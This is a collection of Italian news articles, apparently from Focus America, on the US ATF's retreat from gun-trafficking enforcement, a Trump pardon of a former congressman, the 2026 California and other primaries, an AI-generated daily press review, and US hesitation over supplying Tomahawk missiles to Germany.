Armi vendute da trafficanti e poi recuperate su una scena del crimine

Il dato copre il periodo 2017-2023 ed era alla base della "tolleranza zero": una piccola quota di rivenditori alimentava una parte enorme del mercato illegale delle armi.

500+

Persone incriminate con i nuovi reati federali introdotti nel 2022

Il Bipartisan Safer Communities Act, approvato con voti di esponenti di entrambi i partiti, ha creato il reato di cospirazione per traffico di armi e inasprito le pene per gli acquisti tramite prestanome. I procuratori lo hanno usato a pieno ritmo negli ultimi due anni dell'Amministrazione Biden.

Ghost gun

L'unica regola sopravvissuta: le armi fai-da-te restano ancora sotto controllo

La norma del 2022 sulle armi assemblabili da kit ha superato un ricorso alla Corte Suprema e il suo principale produttore ha chiuso. Il calo del flusso di ghost gun coincide con un forte calo delle sparatorie compiute da adolescenti. Ad aprile anche l'Amministrazione Trump ha rinunciato a smantellare questa norma.

"
Solo perché nessuno sta guardando i canali del traffico illegale non significa che le armi non ci stiano passando attraverso. Significa solo che non vengono più intercettate.
Marianna Mitchem · Ex vicedirettrice associata ATF

Cinque anni di inversioni di rotta

Dalla stretta di Biden allo smantellamento: tocca un evento per leggere i dettagli

2021
Biden lancia la "tolleranza zero" sui negozianti di armi

Nel pieno dell'ondata di omicidi post pandemia, aumentati di oltre un terzo dal 2019, la Casa Bianca annuncia: chi viola volontariamente la legge perde la licenza, senza eccezioni.

2022
Il Congresso approva il Bipartisan Safer Communities Act

Con voti di esponenti di entrambi i partiti nasce il reato di cospirazione per traffico di armi. Nello stesso anno l'ATF estende alle ghost gun le regole delle armi tradizionali.

2023–2024
Le revoche delle licenze toccano il record: 181 e 183

Prima della stretta erano meno di 50 all'anno. I procuratori federali incriminano oltre 500 persone con i nuovi reati approvati dal Congresso nel 2022.

Inizio 2025
La nuova Amministrazione Trump abolisce la "tolleranza zero"

L'ATF invita i negozianti a cui era stata revocata la licenza a presentare una nuova domanda. Diversi la riottengono in tempi rapidi nonostante precedenti violazioni gravi o ripetute.

Primavera 2025
Gli agenti ATF vengono dirottati verso le espulsioni di migranti

Quasi 1.800 agenti su 2.500 partecipano alle operazioni anti immigrazione dell'ICE. La vicedirettrice associata Marianna Mitchem si dimette per protesta dopo 21 anni nell'agenzia.

Feb 2026
Il nuovo direttore Cekada al Senato: "ispezioni senza ostacoli"

Il nuovo direttore nominato da Trump difende l'agenzia in audizione, ma i dati 2025 raccontano un'altra storia: 56 revoche e segnalazioni penali in calo del 30%.

Apr 2026
La regola sulle ghost gun resta in vigore

L'ATF aveva annunciato a un tribunale del Texas l'intenzione di modificarla, ma pochi giorni dopo il Dipartimento di Giustizia ha fatto marcia indietro: la normativa che regola le armi fai-da-te rimane per ora in vigore.

Fonte Inchiesta ProPublica su dati ATF, Dipartimento di Giustizia e documenti ICE ottenuti dal Cato Institute. Variazioni 2025 su 2024, primo anno della nuova Amministrazione Trump. Giugno 2026.

La fine della "tolleranza zero"


Ma la nuova Amministrazione Trump ha abolito formalmente la politica di "tolleranza zero" e l'ATF ha cominciato a invitare i negozianti a cui era stata revocata la licenza a presentare una nuova domanda. In diversi casi, rivenditori che avevano perso l'autorizzazione per violazioni gravi o ripetute l'hanno riottenuta velocemente dopo l'insediamento della nuova Amministrazione. Così, secondo i dati raccolti da ProPublica, nel 2025 le revoche sono scese a 56, il 69% in meno rispetto all'anno precedente.

Dalla scorsa primavera, l'Amministrazione ha inoltre iniziato a spostare un numero consistente di agenti dell'ATF verso un nuovo compito: assistere l'ICE, l'agenzia federale per il controllo dell'immigrazione, nelle operazioni contro i migranti senza documenti. Documenti dell'ICE ottenuti dal Cato Institute mostrano che quasi 1.800 dei circa 2.500 agenti dell'ATF hanno partecipato a operazioni di espulsione di migtranti. Anche gli ispettori incaricati di controllare i negozi di armi hanno ricevuto l'ordine di dedicare almeno 6 ore alla settimana a mansioni legate all'immigrazione, cercando negli archivi dei rivenditori acquirenti con nomi ritenuti stranieri da segnalare al Dipartimento di Sicurezza Interna.

Con gli agenti dirottati altrove, anche l'attività investigativa dell'ATF è inevitabilmente diminuita. Secondo l'analisi di ProPublica, nel 2025 le segnalazioni penali dell'agenzia per reati legati al traffico di armi sono calate del 30% rispetto al 2024. Nello stesso periodo, la quota di casi respinti dai procuratori federali è aumentata del 30%. Il Dipartimento di Giustizia ha sostenuto che nel 2025 sono stati perseguiti quasi tanti casi di traffico di armi quanti nel 2024. Ma una quota crescente, circa il 30%, riguardava traffici di arni lungo il confine con il Messico ed era basata sul nuovo reato di cospirazione introdotto nel 2022. Un quinto di tutte le persone incriminate con quella legge nel 2024 e nel 2025 si concentra in un solo distretto: il Texas occidentale.

A febbraio, durante un'audizione al Senato, il nuovo direttore dell'ATF nominato da Trump, Robert Cekada, ha dichiarato che l'agenzia continua a svolgere "ispezioni senza ostacoli". Ma i numeri raccontano un'altra storia. Come ha detto a ProPublica Daniel Webster, ricercatore della Johns Hopkins University specializzato nello studio della violenza armata: "È stato tutto dirottato. È diventata tutta una questione di immigrati irregolari ora".

Il rischio di un effetto ritardato


In questo contesto, anche i criminologi mettono in guardia dal considerare rassicurante il fatto che il tasso di omicidi abbia continuato a scendere. Il traffico illegale di armi funziona come una conduttura: il danno può manifestarsi con ritardo. Una ricerca dell'ATF ha rilevato che il "tempo al crimine" tipico per le armi trafficate può arrivare fino a circa tre anni. Questo significa che gli effetti positivi della stretta di Biden potrebbero essere ancora in corso, mentre le conseguenze dell'arretramento attuale potrebbero emergere solo nei prossimi anni.

"Solo perché nessuno sta guardando i canali del traffico in questo momento non significa che le armi non ci stiano passando attraverso", ha detto a ProPublica Marianna Mitchem, ex vicedirettrice associata dell'ATF per le operazioni industriali, che ha lasciato l'agenzia la scorsa primavera dopo 21 anni proprio per protestare contro l'inversione di rotta. "Significa solo che non vengono intercettate".

Una delle poche politiche dell'Amministrazione Biden sopravvissute finora è la regolamentazione delle ghost gun. La norma dell'ATF del 2022 ha superato un ricorso alla Corte Suprema lo scorso anno, mentre diverse cause intentate da città americane hanno costretto il principale produttore di queste armi a chiudere. I criminologi osservano che la riduzione del flusso di ghost gun coincide con un forte calo delle sparatorie compiute da adolescenti, che durante l'ondata di omicidi del 2020-2021 erano stati tra i principali utilizzatori di armi assemblate in casa.

Anche questa regolamentazione, però, ha rischiato di essere smantellata. Ad aprile, l'ATF aveva comunicato a un tribunale federale del Texas l'intenzione di modificare la norma, mentre il bilancio della Casa Bianca per il 2027 parlava di eliminare "restrizioni eccessive sulle armi fatte in casa". Pochi giorni dopo, tuttavia, il Dipartimento di Giustizia dell'Amministrazione ha fatto sapere al tribunale che il governo ha deciso di mantenere in vigore la definizione che regola le ghost gun.

Con il governo federale in ritirata, spetta ora ai singoli Stati provare a colmare il vuoto. Mitchem, che dopo aver lasciato l'ATF è entrata in Everytown, il gruppo per il controllo delle armi fondato da Michael Bloomberg, ha detto a dicembre ai sostenitori della causa riuniti a Washington: "Tocca agli Stati cominciare ad affrontare il problema del traffico, perché purtroppo non avrete il sostegno dell'ATF". Qualcosa si sta già muovendo. Nella contea di Montgomery, in Pennsylvania, gli sceriffi hanno aumentato le ispezioni ai negozianti di armi per compensare il calo dei controlli federali.

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Certo che, con amici così, la destra italiana non ha davvero bisogno di nemici...

#Lega #Vannacci #meme #FuturoNazionale #PoliticaItaliana #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

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Der Online-Einkauf ist in jeder Hinsicht billig geworden, schreibt unser Kolmunist @vincefoerst. Schwindeleien gehören zum Geschäft und machen das Vertrauen in die Welt kaputt. Opfer kann jeder werden – auch er. Die neuste Ausgabe von "Trugbild".

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Trump concede la grazia a un ex deputato condannato per insider trading


L'ex deputato repubblicano dell'Indiana era stato condannato nel 2023 a 22 mesi per insider trading su due fusioni aziendali. La grazia è stata appoggiata da decine di repubblicani.

Il presidente Trump ha concesso la grazia a Stephen Buyer, l'ex deputato repubblicano dell'Indiana che nel 2023 era stato condannato a 22 mesi di carcere per aver usato informazioni riservate per guadagnare in borsa più di 330mila dollari. Il provvedimento, datato 4 giugno, è stato reso pubblico dalla Casa Bianca nella tarda serata di venerdì 6 giugno.

Buyer, 67 anni, era stato eletto per la prima volta alla Camera nel 1992 e aveva lasciato il Congresso nel 2011 per assistere la moglie, a cui era stata diagnosticata una malattia autoimmune. Dopo il ritiro aveva aperto una società di consulenza. Secondo le autorità federali, aveva ricevuto informazioni riservate da due dei suoi clienti e le aveva poi usate per operazioni illecite in borsa.

Il primo caso risale al 2018. Secondo la Securities and Exchange Commission (la Consob americana), Buyer aveva saputo da un dirigente di T-Mobile, un suo cliente, che la compagnia stava per acquisire Sprint. Aveva quindi comprato 568mila dollari di azioni Sprint, aumentate di valore di oltre 107mila dollari dopo l'annuncio della fusione da 26,5 miliardi di dollari.

Nel 2019 aveva fatto lo stesso con il titolo Navigant: aveva saputo da un altro cliente, la società di consulenza Guidehouse, che avrebbe acquisito la concorrente, e aveva comprato più di un milione di dollari di azioni Navigant. Dopo l'annuncio dell'acquisizione le aveva rivendute con un profitto di oltre 227mila dollari.

Buyer era stato condannato nel 2023 da una giuria federale di Manhattan a 22 mesi di carcere, con l'obbligo di restituire più di 350mila dollari di guadagni illeciti e una multa di 10mila dollari. Aveva scontato la pena ed era stato rilasciato nel 2025. A maggio 2026 la Corte Suprema aveva respinto il suo appello senza commenti né dissensi espliciti.

Nella proclamazione della grazia, definita "piena, completa e incondizionata", il presidente ha citato la carriera "illustre e molto produttiva" di Buyer come giudice avvocato nell'esercito e come deputato. Il testo non menziona i reati per cui era stato condannato. Buyer, che si è sempre dichiarato innocente, ha detto che la grazia "corregge un'azione penale motivata politicamente" e che è stato "orribile essere incarcerato per un crimine che non ho commesso".

La grazia è stata appoggiata da decine di parlamentari repubblicani in carica e passati. Il 31 maggio Trump aveva condiviso su Truth Social due lettere che chiedevano la clemenza per Buyer: una firmata da più di quaranta ex deputati repubblicani e una da cinque deputati repubblicani in carica, tra cui Tom Cole dell'Oklahoma, Ken Calvert della California e Pete Sessions del Texas. Nella lettera degli ex deputati, Buyer veniva descritto come "preso di mira dallo stato profondo" per il suo ruolo di procuratore della Camera nel processo di impeachment contro Bill Clinton nel 1998. La grazia è stata appoggiata anche dai senatori Lindsey Graham della South Carolina e Roger Wicker del Mississippi, e dall'ex speaker della Camera John Boehner.

La grazia a Buyer si inserisce in un'ondata più ampia di provvedimenti di clemenza firmati dal presidente dal suo ritorno alla Casa Bianca. Decine di grazie sono state concesse a persone accusate di reati finanziari, alimentando quella che il New York Times ha descritto come una vera e propria industria di operatori della destra assunti per portare le richieste di clemenza al presidente.

Al Congresso si discute da tempo di vietare ai parlamentari di comprare e vendere azioni individuali. Lo stesso Trump ha ripetutamente dichiarato di essere favorevole a un divieto, dicendosi pronto a firmare una legge, come riportato da ABC News. A gennaio 2026 i repubblicani della Camera avevano fatto avanzare un disegno di legge che impone alcune restrizioni sulle operazioni in borsa dei deputati e dei loro parenti, anche se i democratici avevano denunciato la presenza di scappatoie che ne minavano l'efficacia.

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Becerra avanza al ballottaggio in California, ma l'avversario è ancora incerto


L'ex ministro della Sanità si è assicurato un posto per novembre. Hilton è in vantaggio su Steyer per il secondo, ma il conteggio prosegue. Pan evita il lockout democratico nel sesto distretto.
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Xavier Becerra, ex ministro della Sanità nell'amministrazione Biden, si è ufficialmente assicurato un posto al ballottaggio di novembre per il governatorato della California, ma a tre giorni dalla chiusura delle urne non sa ancora chi sarà il suo avversario. Con il 71 per cento dei voti scrutinati, Becerra ha il 27 per cento, l'ex conduttore di Fox News Steve Hilton ha il 26 per cento e il miliardario Tom Steyer è al 21,3 per cento. Lo scrutinio in California richiede tempo perché lo Stato vota in larga parte per posta: le schede spedite entro il giorno delle elezioni possono arrivare nei giorni successivi e ogni firma va verificata prima del conteggio, che durerà fino al 10 luglio.

Primarie aperte
California, primarie aperte per il governatore
Primarie aperte per il governatore — 3 giugno 2026
Focus America

CandidatoVoti%

Xavier Becerra
Democratico

1.825.409
27,0%

Steve Hilton
Repubblicano

1.760.640
26,1%

Tom Steyer
Democratico

1.439.225
21,3%

Chad Bianco
Repubblicano

721.599
10,7%

6.755.217voti
71% scrutinato

Elaborazione di Focus America su dati di Associated Press

Il sistema elettorale californiano, noto come "top-two primary", prevede che tutti i candidati, di qualunque partito, compaiano su un'unica scheda e che i due più votati passino al ballottaggio, indipendentemente dall'appartenenza politica. Questo meccanismo, spiegato nel dettaglio alla vigilia del voto, può produrre risultati imprevedibili quando il campo è frammentato: per mesi i democratici hanno temuto che il voto progressista si disperdesse tra troppi candidati, regalando entrambi i posti del ballottaggio ai repubblicani.

L'identità dell'avversario di Becerra cambierà radicalmente la campagna elettorale. Se a passare sarà Hilton, repubblicano sostenuto dal presidente Donald Trump, Becerra non dovrebbe avere difficoltà a vincere a novembre: la California è uno Stato in cui i democratici hanno un vantaggio schiacciante e un candidato allineato con Trump parte con poche possibilità. Se invece Steyer riuscisse a superare Hilton man mano che il conteggio prosegue, la sfida diventerebbe competitiva e costosissima. Steyer ha già speso più di duecento milioni di dollari di tasca propria, presentandosi come un progressista outsider che vuole smantellare il potere delle grandi aziende, e un super PAC finanziato da società di servizi pubblici e imprenditori immobiliari ha investito decine di milioni per bloccarlo.

Uno scontro tra due democratici offrirebbe un contrasto netto tra Becerra, che ha impostato la campagna sulla sua esperienza tra Congresso e governo della California, e Steyer, che ha promesso politiche ambiziose come l'assicurazione sanitaria pubblica universale. Becerra ha promesso di congelare i premi assicurativi e le bollette per i californiani e di opporsi alle politiche del presidente. Se eletto, diventerebbe il primo governatore latino della California dell'era moderna: l'unico precedente risale al 1875, quando Romualdo Pacheco occupò la carica per dieci mesi senza mai essere eletto direttamente, e oggi i latinoamericani sono circa il 41 per cento della popolazione dello Stato.

L'incertezza del conteggio si estende anche ai seggi per la Camera dei rappresentanti. Nel sesto distretto, che comprende Sacramento e Placer County, l'ex senatore statale democratico Richard Pan ha ripreso il secondo posto superando il repubblicano Michael Stansfield, un candidato pressoché sconosciuto che la notte delle elezioni era sorprendentemente in vantaggio, come ha raccontato il Sacramento Bee. Pan ora ha quasi il 23 per cento contro il 21,2 di Stansfield, mentre il deputato Kevin Kiley, da poco diventato indipendente dopo anni nei repubblicani, è primo con il 25,4 per cento. Il sorpasso di Pan allontana lo scenario temuto dai democratici: la frammentazione del voto tra i tanti candidati progressisti rischiava di escludere il partito dal ballottaggio in un distretto disegnato per essergli favorevole.

Nel settimo distretto, la deputata democratica Doris Matsui si è assicurata l'accesso al ballottaggio con il 30,5 per cento dei voti. La favorita per il secondo posto è la progressista Mai Vang, che con il 28,5 per cento ha superato il repubblicano Zachariah Wooden, uno studente universitario di 24 anni, dopo essere rimasta indietro di poche centinaia di voti nella notte di martedì. Wooden è ora al 22,6 per cento, secondo il Sacramento Bee. Se Vang confermasse la seconda posizione, il ballottaggio sarebbe uno scontro tra due democratiche che incarna la frattura generazionale in corso nel partito: da un lato Matsui, pilastro dell'establishment che rappresenta il distretto dal 2005, dall'altro Vang, parte di un'ondata di giovani candidati progressisti che in tutto il Paese provano a scalzare i veterani moderati nei seggi considerati sicuri per i democratici.

Anche la corsa per il sindaco di Los Angeles resta aperta. La sindaca uscente Karen Bass, democratica, e il repubblicano Spencer Pratt, ex personaggio di un reality, sono in testa, ma la progressista Nithya Raman sta guadagnando terreno e il distacco è ancora ampio. Con centinaia di migliaia di schede ancora da contare in tutto lo Stato, i verdetti definitivi arriveranno solo nei prossimi giorni.


Le primarie di oggi mettono in palio il futuro del Congresso


Sei Stati al voto oggi, 2 giugno, in quella che è la giornata più affollata della stagione delle primarie americane del 2026. Si scelgono i candidati per quattro governatorati, un seggio chiave al Senato e per decine di seggi alla Camera dei rappresentanti che decideranno il controllo del Congresso a novembre. Votano California, Iowa, Montana, New Jersey, New Mexico e South Dakota. Le urne chiudono alle 20 sulla costa orientale, le 2 di notte in Italia, in New Jersey e nella parte centrale del South Dakota, e fino alle 23 in California, le 5 del mattino di mercoledì in Italia.

La gara più seguita è quella per il governatorato della California, dove il democratico Gavin Newsom non può ricandidarsi per un terzo mandato. Per capire cosa succederà serve spiegare il sistema elettorale californiano, che è diverso da quello di quasi tutti gli altri Stati. La California usa il cosiddetto "top-two primary": tutti i candidati, di qualunque partito, corrono insieme su un'unica scheda e tutti gli elettori possono votare senza dover essere iscritti a un partito. I due più votati, indipendentemente dalla loro appartenenza politica, passano al ballottaggio del 3 novembre. Non si può vincere direttamente a giugno, nemmeno prendendo la maggioranza assoluta e in California non sono ammessi voti scritti a mano sulla scheda generale.

Questo sistema può produrre risultati paradossali. Per mesi i democratici hanno temuto il cosiddetto "lockout": con tanti candidati democratici sulla scheda, il voto progressista rischiava di frammentarsi al punto da consegnare entrambi i posti del ballottaggio ai due principali repubblicani, garantendo così la vittoria di un governatore conservatore in uno degli Stati più democratici del Paese. La situazione è cambiata in aprile, quando il presidente Donald Trump ha sostenuto pubblicamente l'ex conduttore di Fox News Steve Hilton, consolidando l'elettorato repubblicano e mettendo in difficoltà l'altro principale candidato del partito, lo sceriffo della contea di Riverside Chad Bianco. Poco dopo il deputato democratico Eric Swalwell, che era uno dei favoriti, ha lasciato la corsa dopo una serie di accuse di molestie sessuali e si è dimesso dal Congresso.

Nel vuoto lasciato da Swalwell, i due principali contendenti democratici sono ora Xavier Becerra, ex procuratore generale della California, e Tom Steyer, miliardario e candidato presidenziale democratico del 2020. Secondo la media dei sondaggi di Decision Desk HQ, Hilton e Becerra sono testa a testa intorno al 23-24 per cento, Steyer è terzo al 19 per cento e Bianco quarto all'11 per cento. Steyer ha speso o prenotato pubblicità per 201 milioni di dollari, quasi tutti di tasca propria, e si presenta come un "traditore di classe" di sinistra, ma il denaro non gli ha garantito l'accesso al ballottaggio. Becerra, se eletto, sarebbe il primo governatore latino della California dell'era moderna: l'unico precedente è Romualdo Pacheco, che resse l'incarico per dieci mesi nel 1875 senza però essere mai stato eletto direttamente.

C'è un altro elemento da tenere a mente leggendo i risultati nei prossimi giorni. La California vota in larga parte per posta e i voti vengono certificati ufficialmente solo un mese dopo il voto. I dati sulle schede già restituite mostrano che molti democratici hanno aspettato l'ultimo momento per votare, quindi i conteggi delle prossime ore mostreranno un "miraggio rosso": i primi voti scrutinati saranno sproporzionatamente repubblicani, mentre Becerra e Steyer guadagneranno terreno man mano che il conteggio prosegue. Mercoledì mattina, in molti casi, non sapremo ancora chi ha conquistato il secondo posto.

Sempre in California, Los Angeles elegge il sindaco. La sindaca uscente Karen Bass, democratica, è impopolare dopo la gestione degli incendi del gennaio 2025, ma resta favorita per il ballottaggio. Secondo la media dei sondaggi è al 26 per cento, seguita dal repubblicano Spencer Pratt, ex personaggio di un reality, al 18 per cento, e dalla consigliera comunale democratica Nithya Raman al 16 per cento. La candidatura di Pratt è nata proprio dagli incendi, che avevano distrutto la sua casa, ed è stata spinta da una serie di spot virali generati con l'intelligenza artificiale. Paradossalmente, gli alleati di Bass stanno spendendo per attaccare Pratt come "troppo conservatore": l'obiettivo reale è consolidare il voto repubblicano su di lui per escludere Raman dal ballottaggio, perché nella Los Angeles democratica un repubblicano non ha alcuna possibilità a novembre.

La California vota anche in alcuni seggi cruciali per il controllo della Camera, sulla nuova mappa congressuale ridisegnata dai democratici lo scorso novembre in risposta al gerrymandering repubblicano del Texas. Nel 22esimo distretto, in Central Valley, i democratici hanno reso la circoscrizione più favorevole nella speranza di battere il repubblicano David Valadao, ma sono divisi tra la deputata statale Jasmeet Bains, sostenuta dal Democratic Congressional Campaign Committee, e il professore Randy Villegas, sostenuto da Bernie Sanders e dalla sinistra del partito. Nel 48esimo, lasciato libero dal repubblicano Darrell Issa, tre democratici si contendono il diritto di sfidare il supervisor di San Diego Jim Desmond. Nell'11esimo, il seggio di San Francisco lasciato libero dall'ex speaker Nancy Pelosi, il senatore statale Scott Wiener è il favorito, mentre la supervisor Connie Chan, sostenuta da Pelosi, si gioca il secondo posto con l'ex capo di gabinetto di Alexandria Ocasio-Cortez, Saikat Chakrabarti. Nel 40esimo, ridisegnato a vantaggio dei democratici, due deputati repubblicani uscenti, Young Kim e Ken Calvert, si sfidano per un unico spazio repubblicano nel ballottaggio.

In Iowa, dove vige il sistema tradizionale di primarie separate per partito, la sfida principale è quella democratica per il Senato. La repubblicana Joni Ernst si ritira e per i democratici corrono il deputato statale Josh Turek, paralimpico dell'oro nel basket in carrozzina e moderato sostenuto da Chuck Schumer, e il senatore statale Zach Wahls, più progressista e critico della leadership nazionale. Turek è sostenuto da quasi dieci milioni di dollari di spese esterne del super PAC VoteVets. I sondaggi recenti lo danno avanti, ma sono tutti commissionati dalla sua campagna o da VoteVets stesso. Chi vince affronterà a novembre la deputata repubblicana Ashley Hinson, favorita nella primaria del suo partito.

Anche per il governatorato dell'Iowa la primaria repubblicana è incerta. Il deputato Randy Feenstra era considerato il favorito, ma un sondaggio di JMC Analytics ha mostrato l'imprenditore e agricoltore Zach Lahn in vantaggio di tre punti, 27 a 24. Trump ha sostenuto Feenstra subito dopo. C'è però una complicazione: in Iowa, come in South Dakota, per vincere la primaria serve almeno il 35 per cento dei voti. Se nessuno raggiunge quella soglia, il candidato non viene scelto con un ballottaggio popolare ma da una convenzione di partito statale, che si terrebbe il 13 giugno e dove i delegati, scelti in caucus a cui pochissimi hanno prestato attenzione, potrebbero favorire un candidato più a destra di Feenstra. La candidata democratica per il governatorato, l'auditor statale Rob Sand, è già designata senza opposizione.

In South Dakota, la primaria repubblicana per il governatorato potrebbe portare al primo ballottaggio nella storia dello Stato da quando, nel 1985, è stata introdotta la regola del 35 per cento. Quattro candidati competitivi si contendono il primo posto: il governatore in carica Larry Rhoden, succeduto a Kristi Noem dopo la sua nomina al gabinetto di Trump, il deputato Dusty Johnson, lo speaker della camera bassa statale Jon Hansen e l'imprenditore Tony Doeden. I sondaggi di Emerson College e Meeting Street Insights li danno tutti tra il 15 e il 25 per cento. Se nessuno arriverà al 35 per cento, i primi due andranno al ballottaggio il 28 luglio. Un memo trapelato dai consulenti di Rhoden a metà maggio sosteneva che il governatore potrebbe battere Johnson in un eventuale ballottaggio attirando i populisti antisistema che oggi sostengono Doeden.

In New Mexico, dove la governatrice democratica Michelle Lujan Grisham non può ricandidarsi, la primaria democratica è di fatto la corsa decisiva, perché lo Stato vota in maggioranza per il partito. Si sfidano l'ex ministra degli Interni Deb Haaland e il procuratore distrettuale della contea di Bernalillo Sam Bregman. Haaland è in netto vantaggio: ha raccolto 12 milioni di dollari contro i 4,1 di Bregman e i sondaggi di aprile la davano avanti di oltre venti punti. Se vincesse anche a novembre, sarebbe la prima donna nativa americana eletta governatrice negli Stati Uniti.

In Montana, l'evento principale è la corsa per il primo distretto, lasciato libero dal repubblicano Ryan Zinke. È un seggio che Trump ha vinto di dodici punti nel 2024, ma i democratici sperano che un'elezione di metà mandato favorevole possa renderlo competitivo: nel 2024 il senatore democratico Jon Tester lo ha vinto di poco pur perdendo lo Stato. Per i democratici i favoriti sono lo smokejumper Sam Forstag e l'ex candidato governatore Ryan Busse, entrambi con circa 700.000 dollari raccolti. I repubblicani dovrebbero scegliere il conduttore radiofonico conservatore Aaron Flint, sostenuto da Trump.

In New Jersey, la corsa più importante è quella per la primaria democratica del settimo distretto, dove i democratici cercano un candidato per sfidare il repubblicano Tom Kean Jr., assente dal Congresso da quasi tre mesi per un problema di salute non specificato. La favorita è Rebecca Bennett, ex pilota di elicotteri della Marina, che secondo l'unico sondaggio indipendente è al 36 per cento. I suoi avversari democratici, tutti vicini al 20 per cento, hanno largamente autofinanziato le loro campagne, mentre un super PAC oscuro collegato ai repubblicani, Real Change PAC, ha speso 650.000 dollari per attaccare proprio Bennett. Nel dodicesimo distretto, sicuro per i democratici, tredici candidati si contendono il seggio della deputata uscente Bonnie Watson Coleman: il favorito è il chirurgo plastico Adam Hamawy, ex medico militare progressista, accompagnato però da polemiche legate ai suoi legami passati con un'associazione medica in Bosnia successivamente collegata ad Al-Qaida.


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La rassegna stampa di domenica 7 giugno 2026


Tensioni nel GOP in vista delle midterm, Hegseth definisce "invasione" la migrazione in Europa, il Pentagono indica Israele come crescente minaccia di spionaggio, Mamdani accusa i Democratici di aver perso il contatto con i lavoratori

Questa è la rassegna stampa di domenica 7 giugno 2026

Trump alle prese con tensioni interne al GOP mentre si avvicinano le midterm


Il presidente Donald Trump è atteso domenica a un'intervista con NBC nel programma "Meet the Press" dopo una settimana caratterizzata da nuovi minimi nei sondaggi di approvazione e da crescenti frizioni con i senatori repubblicani diventate ormai pubbliche. Con le elezioni di metà mandato all'orizzonte, la Casa Bianca affronta pressioni politiche crescenti su economia, immigrazione e politica estera.

Fonti: The Hill

Hegseth attacca l'Europa sulla migrazione in un discorso per il D-Day in Normandia


Il segretario alla Difesa Pete Hegseth ha pronunciato un duro intervento a Omaha Beach, in Normandia, paragonando i flussi migratori verso il continente europeo a un'"invasione" delle spiagge, a 82 anni esatti dallo sbarco degli Alleati. Le sue parole hanno suscitato critiche per il parallelo tra la liberazione dell'Europa dal nazismo e l'attuale dibattito sulle politiche migratorie europee.

Fonti: BBC News

Il Pentagono considera Israele una crescente minaccia di spionaggio


Il Dipartimento della Difesa ha alzato al livello massimo la propria valutazione della minaccia controspionaggio e ritiene che Israele abbia intercettato i negoziati statunitensi con l'Iran. Si tratta di un cambio di passo significativo nei rapporti tra Washington e uno dei suoi più stretti alleati storici.

Fonti: The New York Times

L'Amministrazione valuta l'uso di beni iraniani congelati per risarcire gli alleati del Golfo


L'Amministrazione Trump sta esaminando una proposta per indirizzare i beni iraniani sotto sanzione verso il finanziamento delle riparazioni dei danni di guerra subiti dagli alleati del Golfo, e a copertura di eventuali distruzioni future. Il piano arriva in un momento di tensione tra Washington e i partner regionali per gli effetti del recente conflitto con Teheran.

Fonti: Financial Times, Bloomberg

Il consigliere AI della Casa Bianca Sriram Krishnan lascia l'incarico


Sriram Krishnan, investitore tecnologico e consigliere senior della Casa Bianca per le politiche sull'intelligenza artificiale, ha confermato che lascerà il proprio ruolo alla fine del mese. È stato una figura chiave nei piani strategici dell'Amministrazione Trump in materia di AI, e la sua uscita arriva in una fase delicata per la definizione delle regole del settore.

Fonti: The Hill, Bloomberg

Mamdani: il Partito Democratico ha perso il contatto con i lavoratori


Il sindaco di New York Zohran Mamdani ha dichiarato che il Partito Democratico ha smarrito il proprio radicamento tra le classi lavoratrici dopo la sconfitta nelle presidenziali del 2024. L'intervento del sindaco progressista contribuisce al dibattito interno sulla direzione del partito in vista delle elezioni di metà mandato.

Fonti: The Hill

Una sentenza federale apre uno spiraglio agli immigrati che chiedono di restare negli Stati Uniti


Dopo la decisione di un giudice federale, molti immigrati le cui pratiche erano state congelate dall'Amministrazione hanno ripreso a sperare in una rapida ripresa delle procedure. Resta però l'incertezza sui tempi effettivi di applicazione della sentenza e sulle modalità con cui le agenzie federali la attueranno.

Fonti: The New York Times

OpenAI propone un fondo sovrano per dare agli americani una quota dell'intelligenza artificiale


OpenAI ha avanzato l'ipotesi di un fondo di tipo sovrano per distribuire ai cittadini americani parte dei benefici economici dello sviluppo dell'intelligenza artificiale. L'idea punta a contenere l'inquietudine pubblica sull'impatto del settore su lavoro e disuguaglianze nei prossimi anni.

Fonti: Financial Times

Pence contro le grazie di Trump ai rivoltosi violenti del 6 gennaio


L'ex vicepresidente Mike Pence ha criticato la decisione del presidente Trump di concedere il perdono ai partecipanti all'assalto a Capitol Hill che avevano usato violenza contro le forze dell'ordine, vandalizzato proprietà pubbliche o tentato di bloccare la certificazione delle elezioni del 2020. Le sue parole sono arrivate in un'intervista a "Real Time with Bill Maher" su HBO.

Fonti: The Hill

Almeno una dozzina di feriti in una sparatoria a un festival in Ohio


Almeno dodici persone sono state colpite da colpi d'arma da fuoco vicino all'Old West End Festival di Toledo, in Ohio, e la polizia ha avviato una caccia ai responsabili. Secondo le prime ricostruzioni si sarebbe trattato di uno scontro a fuoco tra due individui in mezzo alla folla del festival.

Fonti: BBC News, Fox News

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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Aldo Tortorella e la libertà integrale home.rifondazione.eu/2026/06/0… #Approfondimenti

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Gli Stati Uniti frenano sui Tomahawk alla Germania per timore di Mosca


Gli Stati Uniti si preparano a cancellare l'intesa siglata da Biden per la fornitura di missili Tomahawk alla Germania, per paura della reazione di Mosca. Berlino, in attesa di risposta da un anno e mezzo, resterà così senza i missili a lungo raggio che ritiene indispensabili.

Il Pentagono si prepara a cancellare il piano per il dispiegamento di missili Tomahawk in Germania, anche per il timore che la Russia lo consideri come un'escalation. Lo riporta in esclusiva Politico, che cita due funzionari europei e uno statunitense. Se confermato, si tratterebbe di una netta marcia indietro rispetto all'intesa raggiunta durante l'Amministrazione Biden per la loro fornitura con uno dei principali alleati degli Stati Uniti in Europa.

Secondo i funzionari citati, Washington teme ora una ritorsione di Mosca se l'Amministrazione Trump decidesse di schierare missili di precisione nel cuore del continente europeo. La rinuncia alla loro fornitura, però, lascerebbe Berlino senza poter far conto su sistemi che i leader tedeschi considerano essenziali per rafforzare la propria deterrenza contro la Russia.

Difesa · Europa

Tomahawk negati: la retromarcia americana lascia Berlino senza missili


Il Pentagono si prepara a cancellare il piano dell'era Biden per fornire missili cruise alla Germania. Pesano il timore di una ritorsione russa e le scorte già consumate nella guerra con l'Iran.

Fonti: Politico, WELT 4 giugno 2026

L'intesa
2024

La cancellazione
2026

